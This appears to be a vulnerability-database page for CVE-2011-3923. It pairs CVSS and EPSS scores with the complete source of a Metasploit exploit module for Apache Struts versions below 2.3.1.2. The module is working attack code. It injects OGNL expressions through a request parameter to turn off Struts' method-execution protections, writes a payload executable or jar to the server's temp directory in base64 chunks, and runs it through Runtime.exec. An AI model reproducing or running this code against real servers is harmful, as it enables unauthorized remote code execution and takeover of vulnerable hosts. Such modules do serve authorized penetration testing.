9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.95 High
EPSS
Percentile
99.3%
This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret parameter values as OGNL expressions during certain exception handling for mismatched data types of properties which allows remote attackers to execute arbitrary Java code via a crafted parameter.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'mihi', #ARCH_JAVA support
'Christian Mehlmauer' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3923'],
[ 'OSVDB', '78501'],
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => '2011-10-01',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
])
end
def parameter
datastore['PARAMETER']
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
def get_parameter
retval = {}
return retval unless datastore['GET_PARAMETERS']
splitted = datastore['GET_PARAMETERS'].split('&')
return retval if splitted.nil? || splitted.empty?
splitted.each { |item|
name, value = item.split('=')
# no check here, value can be nil if parameter is ¶m
decoded_name = name ? Rex::Text::uri_decode(name) : nil
decoded_value = value ? Rex::Text::uri_decode(value) : nil
retval[decoded_name] = decoded_value
}
retval
end
def execute_command(cmd)
junk = Rex::Text.rand_text_alpha(6)
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
uri = normalize_uri(datastore['TARGETURI'])
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
})
resp
end
def exploit
#Set up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
append = false
#Now arch specific...
case target['Platform']
when 'linux'
pl_exe = generate_payload_exe
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ''
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'win'
pl_exe = generate_payload_exe
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
print_status("Uploading exploit to #{payload_exe}")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor) * 3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe, payload_exe, append)
print_status("Executing payload")
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(payload_exe)
end
def java_upload_part(part, filename, append = false)
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.95 High
EPSS
Percentile
99.3%